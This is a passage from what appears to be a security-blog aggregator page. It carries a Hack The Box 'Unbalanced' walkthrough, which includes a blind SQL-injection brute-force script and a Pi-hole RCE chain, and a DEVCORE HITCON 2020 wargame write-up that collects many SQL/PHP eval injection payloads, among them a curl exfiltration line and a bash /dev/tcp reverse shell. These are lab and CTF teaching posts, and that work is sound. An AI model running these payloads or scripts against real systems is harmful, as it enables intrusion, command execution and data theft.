Aggregator
人生是一个回环 —— 我的十年安全工作总结
My Path to Akamai
开源信息收集周报#64
OCC and HIPAA Cybersecurity Regulator Fines Now in Hundreds of Millions
Hack The Box Unbalanced Write-Up
This post walk though how I pwned the machine “Unbalanced” on Hack The Box. This machine is fairly challenging for me as my first machine on Hack The Box, but it’s also quite interesting and rewarding. Bare with me now as I unveil how I completed this machine.
The rest of this article is AES-encrypted since the machine is still live. Please decrypt the rest of this article with the root flag. The rest of this article will be made public once the machine is offline.
1. ReconnaissanceWith a simple Nmap scan we can see that ports 22, 873 and 3128 are open on the target machine. These ports indicate that the server might be running an OpenSSH server, an rsync daemon and a Squid proxy server.
A more detailed Nmap scan shows that there are multiple vulnerabilities on the server’s OpenSSH and Squid proxy service. The OpenSSH vulnerabilities are not useful for getting into the server, whereas the Remote Code Execution (RCE) vulnerabilities don’t seem to work on this server.
However, this scan does show that the port 873 is, indeed, running the rsync daemon service.
2. Getting User Access 2.1. EncFS Backup FilesA simple rsync command can list the modules on the server. This server seems to host an rsync module which contains EncFS-encrypted configuration file backups.
Since this rsync module is not password-protected, it can be pulled to the local machine easily. These files indeed look like EncFS files.
EncFS’s password has can be converted to a format which John can recognize using John’s built-in encfs2john.py script.
We can then use John the Ripper to attempt cracking the hash. I’m choosing a dictionary that seems appropriate from the SecLists repository. John manages to crack the password tobe bubblegum.
With this password, the EncFS file system can be decrypted and mounted. We can see that there are, indeed, a lot of configuration files in this encrypted file system.
grep can be used to quickly filter out any useful information. rg (ripgrep) is a faster implementation of grep. I prefer using it for its higher efficiency. This simple search finds out that Squid’s configuration backup contains the plain text password for Squid’s cache manager. This line of configuration also shows a list of pages the cache manager is allowed to view.
Since Squid is an exposed service, we can see if there’s anything else in the configuration file that can help us attacking this service. The permitted destination domains and IP addresses are also defined in the configuration file.
2.2. Web ExploitationSince we know a domain name that can be accessed through the proxy server, we can set up a browser to use the Squid proxy to visit this site.
After configuring the HTTP proxy, the site intranet.unbalanced.htb can be visited in the browser. I have scanned this site with gobuster, and it doesn’t seem like this site has any other directories accessible. I have also tried scanned it with sqlmap and performing some manual injections, but this site does not appear to be vulnerable to SQL injection attacks either.
Since the 172.16.0.0/12 subnet is too large to enumerate, I decided to leave this page be for now and move on with the Squid credentials.
With Squid cache manager’s password, the Squid Client can be installed to interact with the Squid server’s management interface. We can try to view a page to verify that the password works.
After going through each of the pages, the fqdncache page shows something interesting. There seems to be more than one web server hosting the “intranet” web page. 172.17.0.1 seems to be a load balancer, where 172.31.179.2 and 172.31.179.3 seems to be two web servers. The host 172.31.179.1 seems to be missing from the 1-3 range.
It turns out that the server 172.31.179.1 is still accessible. A note on the web pages says that it’s been taken down for security maintenance.
Since the load-balanced website has a full URL of http://intranet.unbalanced.htb/intranet.php, I tried to see if the file intranet.php is still accessible on this server. This file happens to still be accessible.
sqlmap doesn’t seem to be able to find any working payloads for this page. --risk=3 --level=5 does not work either.
However, a simple manual injection test using the 'or'='or' master key shows that this website is actually vulnerable to SQL injection attacks. This simple injection shows us that there are four users in the database: rita, jim, bryan and sarah.
In order to perform further injections, I wrote down the possible SQL executed in the background for this page.
1 SELECT FROM users WHERE Username='$Username' AND Password='$Password'When the clause 'or'='or' is injected into this command, the following command is executed in the background. The result will be false OR true OR false AND false OR true OR false, which is true when evaluated.
1 SELECT FROM users WHERE Username=''or'='or'' AND Password=''or'='or''Then I attempted to extract the password. I came up with the two following statements. Injecting LIKE clauses does not seem to work, but injecting SUBSTRING clauses does seem to return some results. I was able to manually brute force the first character of user Bryan’s password.
1 2 SELECT FROM users WHERE Username='' AND Password='' OR Password LIKE 'a%' SELECT FROM users WHERE Username='' AND Password='' OR substring(Password,1,1)='a'Since manual brute-forcing is too time-consuming, I decided to develop a simple Python script to do the job. Note that this script requires third-party libraries bs4 and requests to run.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/python3 # -*- coding: utf-8 -*- """ Name: Unbalanced SQL Injection Script Dev: K4YT3X Date Created: October 3, 2020 Last Modified: October 3, 2020 """ # built-in imports import string # third-party imports from bs4 import BeautifulSoup import requests users = ["rita", "jim", "bryan", "sarah"] for user in users: print(f"{user}: ", end="", flush=True) for i in range(1, 31): for c in string.printable[:94]: print(c, end="", flush=True) r = requests.post("http://172.31.179.1/intranet.php", data={"Username": "nobody", "Password": f"' or substring(Password,{i},1)='{c}"}, proxies={"http": "http://10.10.10.200:3128"}) soup = BeautifulSoup(r.text, "html.parser") if d := soup.find("div", {"class": "m4"}): if [p for p in d.find_all("p", {"class": "w3-opacity"}) if p.text.strip() == user]: break print("\b", end="", flush=True) else: print(" ") breakWhen executed, this script gives us the following results. These passwords can be used to login to the web page, but the web page only displays the user’s name, email and role when a user is logged in. However, maybe these passwords can be used elsewhere.
Recall that this server also hosts a OpenSSH server. These credentials can then be tested against the OpenSSH service to see if any of the users exist on the server and uses the same password as his/her login credentials. User bryan can be logged in with password ireallyl0vebubblegum!!!. This gives us user access into the server.
3. Privilege Escalation 3.1. Collecting InformationThe first thing I start looking for is SUID files. A poorly programmed custom SUID file can lead to privilege escalations. However, it doesn’t look like there are any custom SUID files in the system.
uname -a shows that the server’s Kernel version is 4.19.0. searchsploit command suggests that this kernel may have several vulnerabilities.
Metasploit Framework module post/multi/recon/local_exploit_suggester is a module that can automatically detect if an exploited host has privilege escalation vulnerability. However, this module doesn’t seem to find any working exploits for the target system. Finding a working kernel exploit manually is time-consuming, so we can try looking for other ways to escalate our privileges for now.
Other than the user.txt flag under user bryan’s home directory, there’s also another file named TODO. This file seems to be the TODO notes from the system administrator bryan. It has to main sections: 1) intranet website TODOs, 2) Pi-hole installation TODOs. This is a hint that the Pi-hole service is worth looking into.
Since this system runs Debian 10, it uses systemd as its service manager. Running services can be listed with the command systemctl list-units --state=running. We can see that the Docker service is running. The Pi-hole service may be running in a Docker container.
Since the Docker service can be used for privilege escalation, I decide to test if user bryan is assigned access to use the docker command. Unfortunately, this user is not allowed to use the docker command. This also means we cannot find out information about the running containers.
In order to find out if there are any running Docker containers, the ip a command is issued to list the network interfaces and the system’s IP addresses. The system is found to have a Docker network bridge that has the address 172.31.0.1/16. If any of the Docker containers on that bridge is communicating with the host, its IP address will show up in the ARP cache. Indeed, we can see the IP address 172.31.11.3 in the ARP cache.
Visiting this IP address with the browser takes us to Pi-hole’s landing page. This seems to be the Pi-hole service we are looking for.
3.2. Exploiting Pi-holePi-hole’s default administrator passwords are randomized upon installation. However, recall that the TODO notes says that a temporary password has been set for the admin. I then tried some common passwords like password, 12345 and admin. admin happens to work and takes us directly into Pi-hole’s management interface.
On the bottom of the management page, we can see that the Pi-hole’s version is 4.3.2.
A quick search in Google lead me to this article: CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE. It seems like this version of Pi-hole is has a RCE vulnerability, which can also be used for gaining root access.
First, we need to prepare two PHP payloads before executing the attack. I’m using MSFvenom to generate two PHP reverse shell payloads.
Then, we can follow the guide and add a blocklist entry as shown in the screenshot. At the same time, we’ll start an Ncat listening on port 80 on the workstation to listen for incoming connections.
Upon clicking the Save and Update button, Ncat receives an incoming connection. We can proivde a 200 response with some random data as instructed in the blogpost.
Clicking the Update button will instruct Pi-hole to run another update. Ncat will receive a second request on port 80. We can paste the first PHP payload in.
Visiting the fun.php payload we just uploaded returns a shell with www-data privileges to our machine.
Following the tutorial, we can proceed uploading the second payload to teleport.php.
The second payload can then be triggered by executing sudo pihole -a -t in the first www-data shell. This returns a shell with root privileges.
After poking around, we can see this Pi-hole configuration script with a hard-coded plain text password bUbBl3gUm$43v3Ry0n3!.
3.3. Getting rootThis password can be used to login to user root in the host machine as well. We now have root access on the host machine.
4. ConclusionsThe box Unbalanced is my first machine on Hack The Box. I think getting user is much more difficult than getting root. The player must go through multiple layers (rsync => EncFS => Squid => Squid Client => SQL Injection) before finally getting credentials for the user bryan. This path carefully designed to give the player guidances along the way, and it’s also fairly close to a real-life scenario.
Unlike gaining user access, gaining root access is pretty straight-forward. It only requires following a single guide which you can easily find on Google to get user root’s password.
Overall, I think I have enjoyed this box much. Finding leads in this box is a painful process, but it also makes you feel rewarded once you finally find one.
- https://k4yt3x.com/hack-the-box-unbalanced-write-up/ - 2019-2024 K4YT3X. All rights reserved.自行更换 MacBook Pro (A1708) 的电池
攻防对抗的点面线问题 - don0t
调整每个资产的最大扫描持续时间
关于Nexpose扫描效率和性能调优的建议
从gRPC安全设计理解双向证书方案
展示个新折腾出来的小玩意 自制最简单的电吉他无限延音+激励回授外挂
Xcheck之Java安全检查引擎
Phishing JavaScript Obfuscation Techniques Soars
那个曾经的勇者,也终将变成恶龙?
Onboarding During A Pandemic: Can It Really Work? New Joiner, Lily Nguyen, Shares Her Experience.
September 2020 New Zealand Information Security Manual v3.4 Release
DEVCORE Wargame at HITCON 2020
搭晚安~一年一度的資安圈大拜拜活動之一 HITCON 2020 在約一個月前順利落幕啦,今年我們照舊在攤位準備了幾道小小的 Wargame 給會眾朋友們挑戰自身技術,並同樣準備了幾份精美小禮物送給挑戰成功的朋友們。
總計活動兩天間有登入並提交至少一把 flag 的人數為 92 人,非常感謝大家踴躍地參與,這次未能成功在時間內完成挑戰而未領到小禮物的朋友們也別太灰心,為了能更多的回饋社群,所以我們決定寫一篇技術文章介紹本次 Wargame 的其中一道開放式題目sqltest,為此我們在活動後詢問了所有解題的人,收集了大家的解法與思路,並將在文章的接下來一一為大家介紹!
sqltest 題目說明這道題目主要核心的部分就這 3 個檔案:Dockerfile、readflag.c 和 index.php。讓我們先看看前兩個檔案,可以從下方的 Dockerfile 中先觀察到 flag 被放置在檔案 /flag 之中,但權限被設定為僅有 root 可以讀取,另外準備了具有 setuid 權限的執行檔 /readflag,讓任何人均可在執行此檔案時偽裝成 root 身分,而 /readflag 的原始碼就如下方 readflag.c 所示,很單純的讀取並輸出 /flag 檔案內容,這個配置就是一個很標準以 getshell 為目標的 Wargame 題目。
Dockerfile
FROM php:7.4.10-apache # setup OS env RUN apt update -y RUN docker-php-ext-install mysqli RUN docker-php-ext-enable mysqli # setup web application COPY ./src/ /var/www/html/ # setup flag RUN echo "DEVCORE{flag}" > /flag RUN chmod 0400 /flag RUN chown root:root /flag COPY readflag.c /readflag.c RUN gcc -o /readflag /readflag.c RUN chmod 4555 /readflagreadflag.c
#include <stdio.h> #include <stdlib.h> void main() { seteuid(0); setegid(0); setuid(0); setgid(0); system("/bin/cat /flag"); }上述前半部為環境的佈置,真正題目的開始則要見下方 index.php,其中 $_REQUEST 是我們可以任意控制的參數,題目除了 isset 外並無其他任何檢查,隨後第 8 行中參數被帶入 SQL 語句作執行,如果 SQL 執行成功並且有查詢到資料,就會進入 15 行開始的處理,來自 $_REQUEST 的 $column 變數再次被使用並傳入 eval 作執行,這樣看下來題目的解題思路就很清楚了,我們需要構造一個字串,同時為合法的 SQL 語句與 PHP 語句,讓 SQL 執行時有回傳值且 PHP 執行時能夠執行任意系統指令,就能 getshell 並呼叫 /readflag 取得 flag!
index.php
<?php if (!isset($_REQUEST["column"]) && !isset($_REQUEST["id"])) { die('No input'); } $column = $_REQUEST["column"]; $id = $_REQUEST["id"]; $sql = "select ".$column." from mytable where id ='".$id."'" ; $conn = mysqli_connect('mysql', 'user', 'youtu.be/l11uaEjA-iI', 'sqltest'); $result = mysqli_query($conn, $sql); if ( $result ){ if ( mysqli_num_rows($result) > 0 ) { $row = mysqli_fetch_object($result); $str = "\$output = \$row->".$column.";"; eval($str); } } else { die('Database error'); } if (isset($output)) { echo $output; } 出題者解法身為出題者,當然必須先拋磚一下才能夠引玉~
exploit:
QueryString: column={passthru('/readflag')}&id=1 SQL: SELECT {passthru('/readflag')} FROM mytable WHERE id = '1' PHP: $output = $row->{passthru('/readflag')};這個解法利用了 MySQL 一個相容性的特性,{identifier expr} 是 ODBC Escape 語法,MySQL 相容了這個語法,使得在語句中出現時不會導致語法錯誤,因此我們可以構造出 SELECT {passthru '/readflag'} FROM mytable WHERE id = '1' 字串仍然會是合法的 SQL 語句,更進一步地嘗試將 ODBC Escape 中的空白移除改以括號包夾字串的話,會變成 SELECT {passthru('/readflag')} FROM mytable WHERE id = '1',由於 MySQL 提供的語法彈性,此段語句仍然會被視為合法並且可正常執行得到相同結果。
接著再看進到 eval 前會構造出這樣的 PHP 語句:$output = $row->{passthru('/readflag')},由於 PHP 在語法上也提供了極大的彈性,使得我們可以利用 $object->{ expr } 這樣的語法將 expr 敘述句動態執行完的結果作為物件屬性名稱去存取物件的屬性,因此結果就會呼叫 passthru 函式執行系統指令。
這邊補充一個冷知識,當想到系統指令時,大家直覺可能會想到使用 system 函式,但是 MySQL 在 8.0.3 中將 system 加入關鍵字保留字之中,而這題目環境是使用 MySQL 8.0 架設的,所以如果使用 system 的話反而會失敗唷!
來自會眾朋友們的解法由於朋友們踴躍提交的解法眾多,所以我們將各解法簡單做了分組,另外提醒一下,以下順序只是提交的先後時間差,並無任何優劣,能取得 flag 的解法都是好解法!接下來就讓我們進行介紹吧。
ODBC Escapeby Mico (https://www.facebook.com/MicoDer/):
QueryString: column={exec(%27curl%20http://Mico_SRV/?`/readflag`%27)};%23&id=1 SQL: SELECT {exec('curl http://Mico_SRV/?`/readflag`')};# FROM mytable WHERE id = '1' PHP: $output = $row->{exec('curl http://Mico_SRV/?`/readflag`')};#;這個解法與出題者的十分類似,但沒有使用可以直接輸出結果的 passthru 而是改用 exec,接著透過 curl 把結果回傳至自己的伺服器,據本人說法是因為「覺得駭客就該傳些什麼回來自己Server XD 」XD。
Comment Everywhere幾乎所有程式語言都有註解符號可以讓開發人員在程式碼中間加上文字說明,以便下一個開發人員接手時可以快速理解這段程式碼的意義。當然 SQL 與 PHP 也有各自的註解符號,但它們所支援的符號表示稍微有些差異,而這小差異就可以幫助我們達成目的。
by LJP (https://ljp-tw.github.io/blog/):
QueryString: column=id%0a-- /*%0a-- */ ; system('/readflag');%0a&id=1 SQL: SELECT id -- /* -- */ ; system('/readflag'); FROM mytable WHERE id = '1' PHP: $output = id -- /* -- */ ; system('/readflag'); ;這個解法看似複雜,本質上其實很單純,就是利用兩個語言支援不同註解符號的特性。對於 SQL 而言,-- 是註解符號,會無視後方所有到換行為止的文字,所以每一行以 -- 開頭的字串,SQL 是看不見的。接著來看 PHP,對於 PHP 而言,/* 任何字串 */ 這是註解的表示方式,開頭結尾由 / 與 * 組成,中間被包夾的字串是看不見的,並且支援換行,而 -- 在 PHP 之中則代表遞減運算子,所以如 $output -- 字串其實是在對 $output 進行減 1 的操作。綜合上面特性,對於上面的解法,其實只有 PHP 看見的第三行 ` ; system(‘/readflag’);` 會認為是需要執行的程式碼,其餘部分不論是 SQL 還是 PHP 都以為是註解的字串而無視,因此可以順利執行取得 flag。
by ankleboy (https://www.facebook.com/profile.php?id=100001963625238):
QueryString: column=name%20/*!%20from%20mytable%20*/%20--%20;%20system(%22/readflag%22)&id=1 SQL: SELECT name /*! from mytable */ -- ; system("/readflag") FROM mytable WHERE id = '1' PHP: $output = $row->name /*! from mytable */ -- ; system("/readflag");此解法也是同樣運用註解,但使用的註解符號似乎稍微特殊,/* */ 除了 PHP 之外,MySQL 也同樣支援此允許多行的註解符號,但假如多上一個驚嘆號 /*! */,事情就又稍微不同了,這是 MySQL 特有的變種註解符號,在此符號中的字串,仍然會被 MySQL 當成 SQL 的一部分執行,但在其他 DBMS 之中,因為是 /* 開頭就會認為它就是單純的註解文字而忽視,讓開發人員能撰寫可 portable 的程式碼。因此就能製造出一串註解文字可被 MySQL 看見但無法被 PHP 看見,強制在註解文字裡讓 SQL 構造合法語句,再利用 -- 註解閉合所有冗贅 SQL 語句,緊接著 -- 後就能撰寫任意 PHP 執行碼。
by FI:
QueryString: column=id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`%23?>&id=1 SQL: SELECT id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?> FROM mytable WHERE id = '1' PHP: $output = $row->id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?>;同樣是利用 /*! */ 註解符號強行構造合法查詢,不過有趣的是,MySQL 支援 # 單行的註解符號,此註解符號同樣也被 PHP 支援,所以不會導致 PHP 語法錯誤,最後還多了 ?> 強行結束 PHP 程式區塊,冷知識是如果程式碼是 PHP 程式區塊內最後一行的話,不加 ; 並不會導致語法錯誤唷 :P
by tree:
QueryString: column=null--+.$output=exec('/readflag')&id= SQL: SELECT null-- .$output=exec('/readflag') FROM mytable WHERE id = '1' PHP: $output = $row->null-- .$output=exec('/readflag');也是用了 -- 把 PHP 程式碼的部分在 SQL 裡面遮蔽起來,利用了 null 關鍵字讓 SQL 查詢有回傳結果,但在 PHP 之中卻變成 $row->null 對 $row 物件存取名為 null 的屬性,使得 PHP 也能合法執行,最後將指令執行結果覆蓋 $output 變數,讓題目幫助我們輸出結果。
by cebrusfs (https://www.facebook.com/menghuan.yu):
QueryString: column=NULL;%20--%20$b;var_dump(exec(%22/readflag%22))&id=1 SQL: SELECT column=NULL; -- $b;var_dump(exec("/readflag")) FROM mytable WHERE id = '1' PHP: $output = $row->column=NULL; -- $b;var_dump(exec("/readflag"));此解法也是類似的思路,運用 -- 閉合再湊出合法 PHP 程式碼,最後直接使用 var_dump 強制輸出 exec 的執行結果。
by Jason3e7 (https://github.com/jason3e7):
QueryString: column=NULL;-- $id %2b system('/readflag');%23&id=1 SQL: SELECT NULL;-- $id + system('/readflag');# FROM mytable WHERE id = '1' PHP: $output = $row->NULL;-- $id + system('/readflag');#;這也是相似的思路,有趣的是 -- $id 這個部分,大家一定記得 $id -- 是遞減運算子,但有時可能會忘記 -- $id 也同樣是遞減運算子,所以這個 -- 會使得 MySQL 認為是註解,PHP 卻仍認為是遞減運算子並正常執行下去。
by shoui:
QueryString: column=null-- -"1";"\$output = \$row->".system('/readflag').";";&id=1 SQL: SELECT null-- -"1";"\$output = \$row->".system('/readflag').";"; FROM mytable WHERE id = '1' PHP: $output = $row->null-- -"1";"\$output = \$row->".system('/readflag').";";;同樣運用註解 -- 閉合 SQL 但 PHP 又是遞減運算子的特性,而 system 又會將指令執行結果直接輸出,因此就能直接取得 flag。本人有補充說明當時測試時直接複製貼上原始碼那行接測試,後來使用 ?id=1&column=null-- -"1";" ".system('/readflag').";" 精簡後的 payload XD。
Double-quoted String EvaluationPHP 會自動在由雙引號「”」包夾的字串中,尋找 $ 開頭的字詞,將其解析成變數再把值代入字串中,這個功能對於快速輸出已充分跳脫處理的變數值非常有幫助,可以增加程式碼可讀性;但同樣地,我們也可以利用這個功能做一下有趣的事情,例如這段 PHP 程式碼 $str = "${phpinfo()}"; 就可以直接執行 phpinfo 函式,利用 $str = "${system('id')}"; 就可以執行系統指令;而在 MySQL 中,雙引號「”」恰好也可以被用來表示純字串,所以我們就能構造出「MySQL 認為是純字串,PHP 卻認為需要解析執行」的 Payload。
讓我們先來看第一個例子:
by ginoah:
QueryString: column=id="${system('/readflag')}"&id=1 SQL: SELECT id="${system('/readflag')}" FROM mytable WHERE id = '1' PHP: $output = $row->id="${system('/readflag')}";對於 SQL 而言,就是回傳 id 與字串比較的結果;但對於 PHP 而言,上述結果是將雙引號字串解析完後才賦值給變數 $row->id,而結果就如同前面說的,它會執行系統指令 /readflag,還會將結果輸出至網頁,所以就能取得 flag!
by Billy (https://github.com/st424204):
QueryString: column=name%2b"{$_POST[1]($_POST[2])}"&id=1 POST: 1=system&2=/readflag SQL: SELECT name+"{$_POST[1]($_POST[2])}" FROM mytable WHERE id = '1' PHP: $output = $row->name+"{$_POST[1]($_POST[2])}";同樣利用雙引號特性,但這個例子構造的較為複雜,利用了一些鬆軟特性,在 PHP 中,若字串變數是一個存在的函式的名稱,則我們可以利用 $func = 'system'; $func('id'); 這樣的方式來呼叫該變數,這個例子就是應用了這個特性,將我們從前端傳遞過去的 $_POST[1] 當成函式名稱、$_POST[2] 作為函式的參數執行,因此只要參數再帶上 1=system&2=readflag 就能取得 flag!
by Hans (https://hans00.me)
QueryString: column=id||"{$_POST['fn']($_POST['cmd'])}"&id=1 POST: fn=system&cmd=/readflag SQL: SELECT id||"{$_POST['fn']($_POST['cmd'])}" FROM mytable WHERE id = '1' PHP: $output = $row->id||"{$_POST['fn']($_POST['cmd'])}";這個例子與前一個利用了同樣的特性,差別在與此處的 Payload 改用 OR 邏輯運算子 ||,而前面使用的是加法算術運算子 +,但結果都是相同的。
by Chris Lin (https://github.com/kulisu)
QueryString: column=TRUE/"${system(%27/readflag%27)}";%23&id=1 SQL: SELECT TRUE/"${system('/readflag')}";# FROM mytable WHERE id = '1' PHP: $output = $row->TRUE/"${system('/readflag')}";#;這也是用相同概念,前面改用除法算術運算子 /。看完解法才發現投稿者是同事!
Execution Operator在 PHP 中存在眾多函式可以執行系統指令,其中還包括一個特殊的 Execution Operator,此運算子的形式是利用反引號「`」將字串包夾起來,這樣該字串就會被當作系統指令執行,其內部實際是執行 shell_exec,更貼心的事情是,這個運算子同樣支援 Double-quoted String Evaluation,所以若是 $cmd = 'id'; echo `$cmd`; 這樣的形式,PHP 就會先解析 $cmd 得出 id,再執行 id 系統指令;而在 MySQL 之中,反引號是用來表示一個 identifier,identifier 用來指示一個物件,最常見的是資料表或是資料欄,當我們執行 SELECT c FROM t,其中 c 和 t 就是 identifier,所以若想靠 Execution Operator 來執行指令,可能還必須同時讓 identifier 能夠被 MySQL 識別才行。
by dalun (https://www.nisra.net):
QueryString: column=id=`$_POST[1]`%23?>&id=%0a+from+(select+'id','$_POST[1]')+as+a+--+ POST: 1=/readflag SQL: SELECT id=`$_POST[1]`#?> FROM mytable WHERE id = ' from (select 'id','$_POST[1]') as a -- ' PHP: $output = $row->id=`$_POST[1]`#?>;這個解法似乎是唯一願意使用 id 參數的 XD!在 column 參數用註解符號 # 閉合後續,在 id 參數插入換行符號並構造一個合法的 SQL,透過子查詢製造合法的 identifier,最後由 PHP 透過 execution operator 執行系統指令。
by HexRabbit (https://twitter.com/h3xr4bb1t):
QueryString: column=name+or+@`bash+-c+"bash+-i+>%26+/dev/tcp/1.2.3.4/80+0>%261"`&id=1 SQL: SELECT name or @`bash -c "bash -i >& /dev/tcp/1.2.3.4/80 0>&1"` FROM mytable WHERE id = '1' PHP: $output = $row->name or @`bash -c "bash -i >& /dev/tcp/1.2.3.4/80 0>&1"`;這個解法核心也是透過 execution oeperator 執行指令,不過用了一個特殊的字元 @。在 MySQL 中,這代表 user-defined variables,後面的字串則為變數的名稱,而且名稱可以使用特殊字元,只要使用 identifier 的符號 ` 把字串包夾起來即可,而存取不存在的變數並不會導致錯誤,MySQL 只會回傳 NULL 的結果。在 PHP 中的話,@ 代表 error control operator,可以放置在表達式前,會讓 PHP 將此表達式執行產生的錯誤訊息全部忽略,由於是表達式,所以也能附加在 execution operator 之前。最後這個解法再用 or 邏輯運算子(MySQL 與 PHP 皆支援並且意義相同)串接即可達成執行系統指令。
by cjiso1117 (https://twitter.com/cjiso)
QueryString: column=$a%2b`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;%23&id=qwe SQL: SELECT $a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;# FROM mytable WHERE id = 'qwe' PHP: $output = $row->$a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;#;同樣是利用 /*! */ 製造出 PHP 看不見、MySQL 看得見的註解文字來控制資料庫查詢結果,最後利用 execution operator 來達成執行系統指令,但由於 ` 內的文字會被 MySQL 認為是 identifier,找不到對應資源會導致錯誤,所以透過子查詢和 alias 語法強行製造出 identifier 讓查詢正確執行。本人表示一開始覺得用 /*! */ 會很帥,結果走偏繞了一大圈
by shik (https://github.com/ShikChen/)
QueryString: column=id%2b"${print_r(`/readflag`)}"&id=1 SQL: SELECT id+"${print_r(`/readflag`)}" FROM mytable WHERE id = '1' PHP: $output = $row->id+"${print_r(`/readflag`)}";這個解法利用加法運算子組合 id identifier 和雙引號字串,接著在雙引號字串利用 evaluation 特性執行 PHP 程式碼,透過 execution operator 執行系統指令後再以 print_r 強制輸出結果,取得 flag。
匿名:
QueryString: id=1&column=id%2b"${`yes`}" SQL: SELECT id+"${`yes`}" FROM mytable WHERE id = '1' PHP: $output = $row->id+"${`yes`}";另外還收到一個匿名提交的解法,思路與前面相同,總之就也附上來了~。
結語以上就是我們這次為 HITCON 2020 準備的 Wargame 的其中一道開放式題目的分享和大家的解法介紹,不知道各位喜不喜歡呢?喜歡的話記得訂閱、按讚、分享以及開啟小鈴鐺唷!
題外話,這次我們總共有 5 道 100 分題目,是領取小獎品的基本條件,但我們還準備了 3 道僅有 1 分的 bonus 題目,類型是 2 個 web 與 1 個唯一的 pwn,讓大家能進一步挑戰進階實戰能力,而這次有解開至少一道 bonus 題的為以下兩位參加者:
- 11/14 Balsn CTF 2020 總獎金十萬元: 502 分
- FI: 501
友情工商:由台灣知名 CTF 戰隊之一的 Balsn 舉辦的 Balsn CTF 2020 將在 11/14 舉辦,他們準備了豐富的比賽獎金與充滿創意、技術性的題目,想證明實力的朋友們可不要錯過了!
Balsn Twitter: https://twitter.com/balsnctf/status/1316925652700889090 Balsn CTF 2020 on CTFtime: https://ctftime.org/event/1122/
另外的另外,最後讓我們恭喜 yuawn (https://twitter.com/_yuawn) 以 1 分之姿榮獲 DEVCORE Wargame 最後 1 名!全場排行榜上唯一得分不超過 100 的參加者,同時他也取得了 pwn 題目的首殺兼唯一解,恭喜他 👏👏。
最後附上今年的前十名,就讓我們 2021 年再見囉~
Place Team Score 1 11/14 Balsn CTF 2020 總獎金十萬元 502 2 FI 501 3 mico 500 4 ankleboy 500 5 hans00 500 6 Meow 500 7 ginoah 500 8 cjiso1117 500 9 zodiuss 500 10 dalun 500